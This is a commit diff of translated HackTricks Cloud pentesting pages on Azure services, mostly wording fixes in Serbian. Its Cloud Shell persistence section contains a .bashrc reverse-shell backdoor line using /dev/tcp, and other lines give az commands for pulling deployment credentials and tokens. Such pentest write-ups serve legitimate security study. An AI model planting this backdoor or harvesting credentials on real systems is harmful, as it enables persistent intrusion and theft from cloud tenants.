mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -77,6 +77,8 @@ def ref(matchobj):
|
||||
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
||||
sys.exit(1)
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
|
||||
@@ -398,8 +398,8 @@
|
||||
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
|
||||
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
|
||||
- [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md)
|
||||
- [Az - Storage Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md)
|
||||
- [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md)
|
||||
- [Az - Storage Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md)
|
||||
- [Az - VMs Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md)
|
||||
- [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
- [Az - Services](pentesting-cloud/azure-security/az-services/README.md)
|
||||
|
||||
@@ -17,10 +17,10 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell nudi pristup komandnoj liniji za upravljanje Azure resursima sa trajnim skladištem i automatskom autentifikacijom. Napadači mogu iskoristiti ovo postavljanjem backdoor-a u trajni direktorijum:
|
||||
Azure Cloud Shell nudi pristup komandnoj liniji za upravljanje Azure resursima sa persistentnim skladištem i automatskom autentifikacijom. Napadači mogu iskoristiti ovo postavljanjem backdoor-a u persistentni direktorijum:
|
||||
|
||||
* **Trajno Skladište**: Početni direktorijum Azure Cloud Shell-a je montiran na Azure deljenje datoteka i ostaje netaknut čak i nakon završetka sesije.
|
||||
* **Startup Skripte**: Datoteke kao što je .bashrc se automatski izvršavaju na početku svake sesije, omogućavajući trajno izvršavanje kada se cloud shell pokrene.
|
||||
* **Persistent Storage**: Početni direktorijum Azure Cloud Shell-a je montiran na Azure deljenje datoteka i ostaje netaknut čak i nakon završetka sesije.
|
||||
* **Startup Scripts**: Datoteke kao što je .bashrc se automatski izvršavaju na početku svake sesije, omogućavajući persistentno izvršavanje kada se cloud shell pokrene.
|
||||
|
||||
Primer backdoor-a u .bashrc:
|
||||
|
||||
@@ -30,7 +30,7 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ova backdoor može izvršavati komande čak i 5 minuta nakon što je korisnik završio sa cloud shell-om.
|
||||
Ova backdoor može izvršavati komande čak i 5 minuta nakon što korisnik završi sa cloud shell-om.
|
||||
|
||||
Dodatno, upitite Azure-ovu metadata uslugu za detalje instance i tokene:
|
||||
{% code overflow="wrap" %}
|
||||
|
||||
@@ -48,7 +48,7 @@ az logicapp update \
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||
Sa ovom dozvolom, možete pokrenuti/zaustaviti/restartovati web aplikaciju, uključujući Logic Apps hostovane na App Service Plan-u. Ova akcija osigurava da se prethodno zaustavljena aplikacija ponovo pokrene i nastavi sa svojom funkcionalnošću. Ovo može ometati radne tokove, pokrenuti nepredviđene operacije ili izazvati prekid rada pokretanjem, zaustavljanjem ili restartovanjem Logic Apps-a iznenada.
|
||||
Sa ovom dozvolom, možete pokrenuti/zaustaviti/restartovati web aplikaciju, uključujući Logic Apps hostovane na App Service Plan-u. Ova akcija osigurava da se prethodno zaustavljena aplikacija ponovo pokrene i nastavi sa svojom funkcionalnošću. Ovo može ometati radne tokove, pokrenuti nepredviđene operacije ili izazvati prekid rada pokretanjem, zaustavljanjem ili restartovanjem Logic Apps iznenada.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
@@ -119,7 +119,7 @@ az logic integration-account map create \
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati partnere u Azure Logic Apps integracionom nalogu. Partneri predstavljaju entitete ili sisteme koji učestvuju u poslovnim tokovima (B2B).
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati partnere u Azure Logic Apps integracionom nalogu. Partneri predstavljaju entitete ili sisteme koji učestvuju u poslovnim tokovima između preduzeća (B2B).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
||||
@@ -13,7 +13,7 @@ Svaka aplikacija radi unutar sandbox-a, ali izolacija zavisi od App Service plan
|
||||
- Izolovani nivoi rade na **posvećenim VM-ovima na posvećenim virtuelnim mrežama**, poboljšavajući izolaciju aplikacija.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). I ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**.
|
||||
> Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). A ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**.
|
||||
|
||||
Aplikacije imaju neke zanimljive konfiguracije:
|
||||
|
||||
@@ -28,7 +28,7 @@ Aplikacije imaju neke zanimljive konfiguracije:
|
||||
|
||||
## Osnovna autentifikacija
|
||||
|
||||
Kada kreirate web aplikaciju (i obično Azure funkciju), moguće je naznačiti da želite da **osnovna autentifikacija bude omogućena** (podrazumevano je onemogućena). Ovo u suštini **omogućava SCM (Source Control Manager) i FTP (File Transfer Protocol)** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.
|
||||
Kada kreirate web aplikaciju (i obično Azure funkciju), moguće je naznačiti da li želite da **osnovna autentifikacija bude omogućena** (podrazumevano onemogućena). Ovo u suštini **omogućava SCM (Source Control Manager) i FTP (File Transfer Protocol)** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.
|
||||
|
||||
Da biste pristupili SCM i FTP serverima, potrebni su **korisničko ime i lozinka**. Stoga, Azure pruža neke **API-je za dobijanje URL-ova** za te platforme i kredencijale.
|
||||
|
||||
@@ -41,26 +41,26 @@ Moguće je povezati se na SCM koristeći web pregledač na `https://<SMC-URL>/Ba
|
||||
|
||||
Kudu je platforma koja **upravlja i SCM-om i web i API interfejsom** za upravljanje App Service-om, i pruža Git-bazirane implementacije, daljinsko debagovanje i mogućnosti upravljanja fajlovima. Dostupan je kroz SCM URL definisan u web aplikaciji.
|
||||
|
||||
Imajte na umu da su verzije Kudu koje koriste App Services i Function Apps različite, pri čemu je verzija Function aplikacija mnogo ograničenija.
|
||||
Imajte na umu da su Kudu verzije koje koriste App Services i Function Apps različite, pri čemu je verzija Function aplikacija mnogo ograničenija.
|
||||
|
||||
Neki zanimljivi krajnji tački koje možete pronaći u Kudu su:
|
||||
- `/BasicAuth`: Morate pristupiti ovom putu da **prijavite u Kudu**.
|
||||
- `/BasicAuth`: Morate pristupiti ovom putu da biste **prijavili u Kudu**.
|
||||
- `/DebugConsole`: Konzola koja vam omogućava da izvršavate komande u okruženju gde Kudu radi.
|
||||
- Imajte na umu da ovo okruženje **nema pristup** metapodacima servisa za dobijanje tokena.
|
||||
- Imajte na umu da ovo okruženje **nema pristup** metapodacima usluge za dobijanje tokena.
|
||||
- `/webssh/host`: Web-bazirani SSH klijent koji vam omogućava da se povežete unutar kontejnera gde aplikacija radi.
|
||||
- Ovo okruženje **ima pristup** metapodacima servisa kako bi dobilo tokene od dodeljenih upravljanih identiteta.
|
||||
- `/Env`: Dobijte informacije o sistemu, postavkama aplikacije, env varijablama, konekcionim stringovima i HTTP header-ima.
|
||||
- Ovo okruženje **ima pristup** metapodacima usluge kako bi dobilo tokene od dodeljenih identiteta za upravljanje.
|
||||
- `/Env`: Dobijte informacije o sistemu, podešavanjima aplikacije, env varijablama, konekcionim stringovima i HTTP header-ima.
|
||||
- `/wwwroot/`: Glavni direktorijum web aplikacije. Možete preuzeti sve fajlove odavde.
|
||||
|
||||
Pored toga, Kudu je nekada bio otvoren izvor u [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), ali je projekat ukinut i upoređujući ponašanje trenutnog Kudu u Azure-u sa starim, moguće je primetiti da su **neke stvari već promenjene**.
|
||||
|
||||
## Izvori
|
||||
|
||||
App Services omogućava da se kod učita kao zip fajl podrazumevano, ali takođe omogućava povezivanje sa trećom stranom i dobijanje koda odatle.
|
||||
App Services omogućava da se kod učita kao zip fajl po defaultu, ali takođe omogućava povezivanje sa trećom stranom i dobijanje koda odatle.
|
||||
|
||||
- Trenutno podržani izvori trećih strana su **Github** i **Bitbucket**.
|
||||
- Možete dobiti tokene za autentifikaciju pokretanjem `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
- Azure podrazumevano postavlja **Github Action** za implementaciju koda na App Service svaki put kada se kod ažurira.
|
||||
- Azure će po defaultu postaviti **Github Action** za implementaciju koda na App Service svaki put kada se kod ažurira.
|
||||
- Takođe je moguće naznačiti **daljinski git repozitorij** (sa korisničkim imenom i lozinkom) da biste dobili kod odatle.
|
||||
- Možete dobiti kredencijale za daljinski repozitorij pokretanjem `az webapp deployment source show --name <app-name> --resource-group <res-group>` ili `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Takođe je moguće koristiti **Azure Repository**.
|
||||
@@ -72,10 +72,10 @@ App Services omogućava da se kod učita kao zip fajl podrazumevano, ali takođe
|
||||
|
||||
Azure WebJobs su **pozadinski zadaci koji se izvršavaju u Azure App Service okruženju**. Omogućavaju programerima da izvršavaju skripte ili programe zajedno sa svojim web aplikacijama, olakšavajući rukovanje asinhronim ili vremenski intenzivnim operacijama kao što su obrada fajlova, rukovanje podacima ili zakazani zadaci.
|
||||
Postoje 2 tipa web jobova:
|
||||
- **Kontinuirani**: Radi neprekidno u petlji i aktivira se čim se kreira. Idealno je za zadatke koji zahtevaju konstantno procesiranje. Međutim, ako aplikacija prestane da radi jer je Always On onemogućen i nije primila zahtev u poslednjih 20 minuta, web job će takođe prestati.
|
||||
- **Pokrenuti**: Radi na zahtev ili na osnovu rasporeda. Najbolje je prilagođen za periodične zadatke, kao što su ažuriranja podataka ili rutinske održavanja.
|
||||
- **Kontinuirani**: Radi neprekidno u petlji i aktivira se čim se kreira. Idealno je za zadatke koji zahtevaju konstantno procesiranje. Međutim, ako aplikacija prestane da radi jer je Always On onemogućeno i nije primila zahtev u poslednjih 20 minuta, web job će takođe prestati.
|
||||
- **Pokrenuti**: Radi na zahtev ili na osnovu rasporeda. Najbolje je prilagođen za periodične zadatke, kao što su ažuriranja podataka ili rutine održavanja.
|
||||
|
||||
Webjobs su veoma zanimljivi iz perspektive napadača jer se mogu koristiti za **izvršavanje koda** u okruženju i **povećanje privilegija** na dodeljene upravljane identitete.
|
||||
Webjobs su veoma zanimljivi iz perspektive napadača jer se mogu koristiti za **izvršavanje koda** u okruženju i **povećanje privilegija** na dodeljene identitete za upravljanje.
|
||||
|
||||
Pored toga, uvek je zanimljivo proveriti **logove** koje generišu Webjobs jer mogu sadržati **osetljive informacije**.
|
||||
|
||||
@@ -89,7 +89,7 @@ Pored toga, moguće je usmeriti **procenat saobraćaja** na određeni slot, što
|
||||
|
||||
U suštini, **Azure Function aplikacije su podskup Azure App Service** u web konzoli i ako odete u web konzolu i navedete sve app servise ili izvršite `az webapp list` u az cli, moći ćete da **vidite i Function aplikacije navedene tamo**.
|
||||
|
||||
Stoga, obe usluge zapravo imaju većinom **iste konfiguracije, funkcije i opcije u az cli**, iako ih možda konfigurišu malo drugačije (kao što su podrazumevane vrednosti appsettings ili korišćenje Storage naloga u Function aplikacijama).
|
||||
Stoga, obe usluge zapravo imaju većinom **iste konfiguracije, funkcije i opcije u az cli**, iako ih možda malo drugačije konfigurišu (kao što su podrazumevane vrednosti appsettings ili korišćenje Storage naloga u Function aplikacijama).
|
||||
|
||||
## Enumeracija
|
||||
|
||||
@@ -283,7 +283,7 @@ cd msdocs-python-flask-webapp-quickstart
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
Prijavljivanjem na SCM portal ili prijavljivanjem putem FTP-a moguće je videti u `/wwwroot` kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
Prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
|
||||
> [!TIP]
|
||||
> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` nije dovoljno da se promeni kod koji izvršava web aplikacija.
|
||||
@@ -298,7 +298,7 @@ Ovaj tutorijal se zasniva na prethodnom, ali koristi Github repozitorijum.
|
||||
2. Kreirajte novu python Web App u Azure-u.
|
||||
3. U `Deployment Center` promenite izvor, prijavite se sa Github-om, izaberite forkovani repozitorijum i kliknite na `Save`.
|
||||
|
||||
Kao u prethodnom slučaju, prijavljivanjem na SCM portal ili prijavljivanjem putem FTP-a moguće je videti u `/wwwroot` kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
Kao u prethodnom slučaju, prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
|
||||
> [!TIP]
|
||||
> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` i ponovo pokretanje implementacije nije dovoljno da se promeni kod koji izvršava web aplikacija.
|
||||
|
||||
@@ -9,7 +9,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1)
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
@@ -26,7 +26,7 @@ Nema dozvola dodeljenih ovoj usluzi, stoga nema tehnika eskalacije privilegija.
|
||||
**Okruženje**: Azure Cloud Shell pruža sigurno okruženje pokretanjem na Azure Linux-u, Microsoft-ovoj vlastitoj Linux distribuciji dizajniranoj za cloud infrastrukturu. Svi paketi uključeni u Azure Linux repozitorij su interno kompajlirani od strane Microsoft-a kako bi se zaštitili od napada na lanac snabdevanja.
|
||||
**Preinstalirani alati**: Cloud Shell uključuje sveobuhvatan set preinstaliranih alata kao što su Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git i tekstualni editori poput vim, nano i emacs. Ovi alati su spremni za korišćenje. Da biste naveli instalirane pakete i module, možete koristiti "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
|
||||
**$HOME postojanost**: Kada prvi put pokrenete Azure Cloud Shell, možete ga koristiti sa ili bez povezanog naloga za skladištenje. Odabirom da ne povežete skladište stvara se ephemerna sesija gde se datoteke brišu kada sesija završi. Da biste sačuvali datoteke između sesija, montirajte nalog za skladištenje, koji se automatski povezuje kao **$HOME\clouddrive**, sa vašim **$HOME** direktorijumom sačuvanim kao **.img** datoteka u Azure File Share. Međutim, datoteke van $HOME i stanja mašine se ne čuvaju. Za sigurno čuvanje tajni poput SSH ključeva, koristite Azure Key Vault.
|
||||
**Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima poput Računanja, Mreže i Skladišta koristeći komande slične datotečnom sistemu. Prebacite se na Azure disk sa cd Azure: i vratite se u svoj početni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska.
|
||||
**Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima poput Računanja, Mreže i Skladišta koristeći komande slične datotečnom sistemu. Pređite na Azure disk sa cd Azure: i vratite se u svoj početni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska.
|
||||
**Instalacija prilagođenih alata**: Korisnici koji konfigurišu Cloud Shell sa nalogom za skladištenje mogu instalirati dodatne alate koji ne zahtevaju root dozvole. Ova funkcija omogućava dalju prilagodbu okruženja Cloud Shell, omogućavajući korisnicima da prilagode svoj setup svojim specifičnim potrebama.
|
||||
|
||||
## Reference
|
||||
@@ -51,7 +51,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1)
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
|
||||
Unutar naloga, možete kreirati jednu ili više baza podataka, koje služe kao logičke grupe kontejnera. Baza podataka deluje kao granica za upravljanje resursima i korisničkim dozvolama. Baze podataka mogu deliti obezbeđeni protok između svojih kontejnera ili dodeliti posvećeni protok pojedinačnim kontejnerima.
|
||||
|
||||
#### Kontejneri
|
||||
Osnovna jedinica skladištenja podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisani ključ particije. Ključ particije je ključan za obezbeđivanje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može skladištiti podatke o kupcima, sa "customerId" kao ključem particije.
|
||||
Osnovna jedinica skladištenja podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisani ključ particije. Ključ particije je ključan za obezbeđivanje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može čuvati podatke o kupcima, sa "customerId" kao ključem particije.
|
||||
|
||||
#### Enumeracija
|
||||
|
||||
@@ -212,10 +212,10 @@ mongodb://<hostname>:<port>/<database>
|
||||
{% endcode %}
|
||||
|
||||
#### Baze podataka
|
||||
U MongoDB-u možete kreirati jednu ili više baza podataka unutar instance. Svaka baza podataka služi kao logička grupa kolekcija i pruža granicu za organizaciju i upravljanje resursima. Baze podataka pomažu u logičkom razdvajanju i upravljanju podacima, kao što su za različite aplikacije ili projekte.
|
||||
U MongoDB-u, možete kreirati jednu ili više baza podataka unutar instance. Svaka baza podataka služi kao logička grupa kolekcija i pruža granicu za organizaciju i upravljanje resursima. Baze podataka pomažu u logičkom razdvajanju i upravljanju podacima, kao što su za različite aplikacije ili projekte.
|
||||
|
||||
#### Kolekcije
|
||||
Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržavati operacije sa visokim protokom preko više čvorova u distribuiranom okruženju.
|
||||
Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržati operacije sa visokim protokom preko više čvorova u distribuiranom okruženju.
|
||||
|
||||
#### Enumeracija
|
||||
|
||||
@@ -288,9 +288,9 @@ Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupNa
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Veza
|
||||
#### Povezivanje
|
||||
|
||||
Ovde možete pronaći lozinku pomoću ključeva ili metodom opisanim u sekciji privesc.
|
||||
Ovde možete pronaći lozinku pomoću ključeva ili metodom opisanoj u sekciji privesc.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
@@ -351,6 +351,8 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
* Pogledajte post eksploataciju "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" i definicije uloga jer ovde može biti privesc
|
||||
* Pogledajte restoracije
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo za vreme obrade kada se vaš kod izvršava.
|
||||
**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo vreme obrade kada se vaš kod izvršava.
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da su **Functions podskup App Services**, stoga će mnoge funkcije o kojima se ovde govori koristiti i aplikacije kreirane kao Azure Apps (`webapp` u cli).
|
||||
@@ -13,40 +13,40 @@
|
||||
|
||||
- **Flex Consumption Plan**: Nudi **dinamičko, događajima vođeno skaliranje** sa plaćanjem po korišćenju, dodajući ili uklanjajući instance funkcija na osnovu potražnje. Podržava **virtuelno umrežavanje** i **pre-provisioned instances** kako bi se smanjili hladni startovi, što ga čini pogodnim za **varijabilne radne opterećenja** koja ne zahtevaju podršku kontejnera.
|
||||
- **Traditional Consumption Plan**: Podrazumevani serverless izbor, gde **plaćate samo za resurse obrade kada funkcije rade**. Automatski se skalira na osnovu dolaznih događaja i uključuje **optimizacije hladnog starta**, ali ne podržava implementacije kontejnera. Idealno za **intermitentna radna opterećenja** koja zahtevaju automatsko skaliranje.
|
||||
- **Premium Plan**: Dizajniran za **dosledne performanse**, sa **prewarmed workers** kako bi se eliminisali hladni startovi. Nudi **produžene vreme izvršenja, virtuelno umrežavanje** i podržava **prilagođene Linux slike**, što ga čini savršenim za **aplikacije od kritične važnosti** koje zahtevaju visoke performanse i napredne funkcije.
|
||||
- **Dedicated Plan**: Radi na posvećenim virtuelnim mašinama sa **predvidljivim naplatama** i podržava ručno ili automatsko skaliranje. Omogućava pokretanje više aplikacija na istom planu, pruža **izolaciju obrade** i osigurava **siguran pristup mreži** putem App Service Environments, što ga čini idealnim za **dugotrajne aplikacije** koje zahtevaju doslednu alokaciju resursa.
|
||||
- **Container Apps**: Omogućava implementaciju **kontejnerizovanih funkcija** u upravljanom okruženju, zajedno sa mikroservisima i API-ima. Podržava prilagođene biblioteke, migraciju nasleđenih aplikacija i **GPU obradu**, eliminišući upravljanje Kubernetes klasterima. Idealno za **događajima vođene, skalabilne kontejnerizovane aplikacije**.
|
||||
- **Premium Plan**: Dizajniran za **dosledne performanse**, sa **prewarmed workers** kako bi se eliminisali hladni startovi. Nudi **produžene vreme izvršenja, virtuelno umrežavanje**, i podržava **prilagođene Linux slike**, što ga čini savršenim za **aplikacije od kritične važnosti** koje zahtevaju visoke performanse i napredne funkcije.
|
||||
- **Dedicated Plan**: Radi na posvećenim virtuelnim mašinama sa **predvidljivim naplatama** i podržava ručno ili automatsko skaliranje. Omogućava pokretanje više aplikacija na istom planu, pruža **izolaciju obrade**, i osigurava **siguran pristup mreži** putem App Service Environments, što ga čini idealnim za **dugotrajne aplikacije** koje zahtevaju doslednu alokaciju resursa.
|
||||
- **Container Apps**: Omogućava implementaciju **kontejnerizovanih funkcija** u upravljanom okruženju, zajedno sa mikroservisima i API-ima. Podržava prilagođene biblioteke, migraciju nasleđenih aplikacija, i **GPU obradu**, eliminišući upravljanje Kubernetes klasterima. Idealno za **aplikacije vođene događajima, skalabilne kontejnerizovane aplikacije**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju biće pohranjeni u Storage nalogu**. Podrazumevano, web konzola će kreirati novi nalog po funkciji za pohranu koda.
|
||||
Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju će biti pohranjeni u Storage nalogu**. Podrazumevano, web konzola će kreirati novi za svaku funkciju kako bi pohranila kod.
|
||||
|
||||
Štaviše, modifikovanjem koda unutar kante (u različitim formatima u kojima može biti pohranjen), **kod aplikacije će biti modifikovan na novi i izvršen** sledeći put kada se funkcija pozove.
|
||||
Štaviše, modifikovanjem koda unutar bucket-a (u različitim formatima u kojima može biti pohranjen), **kod aplikacije će biti modifikovan na novi i izvršen** sledeći put kada se funkcija pozove.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ovo je veoma zanimljivo iz perspektive napadača jer **pristup za pisanje preko ove kante** omogućava napadaču da **kompromituje kod i eskalira privilegije** na upravljane identitete unutar Function App-a.
|
||||
> Ovo je veoma zanimljivo iz perspektive napadača jer **pristup za pisanje preko ovog bucket-a** će omogućiti napadaču da **kompromituje kod i eskalira privilegije** na upravljane identitete unutar Function App-a.
|
||||
>
|
||||
> Više o ovome u **odeljku o eskalaciji privilegija**.
|
||||
|
||||
Takođe je moguće pronaći **master i functions ključeve** pohranjene u storage nalogu u kontejneru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
|
||||
|
||||
Imajte na umu da Functions takođe omogućavaju pohranu koda na udaljenoj lokaciji jednostavno označavajući URL do nje.
|
||||
Imajte na umu da Functions takođe omogućavaju pohranu koda na udaljenoj lokaciji jednostavno ukazujući na URL.
|
||||
|
||||
### Mrežno umrežavanje
|
||||
|
||||
Korišćenjem HTTP okidača:
|
||||
|
||||
- Moguće je dati **pristup funkciji sa celog Interneta** bez potrebe za bilo kakvom autentifikacijom ili dati pristup na osnovu IAM-a. Iako je takođe moguće ograničiti ovaj pristup.
|
||||
- Takođe je moguće **dati ili ograničiti pristup** Function App-u iz **internog mrežnog (VPC)**.
|
||||
- Moguće je dati **pristup funkciji sa celog Interneta** bez zahteva za autentifikacijom ili dati pristup na osnovu IAM. Iako je takođe moguće ograničiti ovaj pristup.
|
||||
- Takođe je moguće **dati ili ograničiti pristup** Function App-u iz **internetske mreže (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
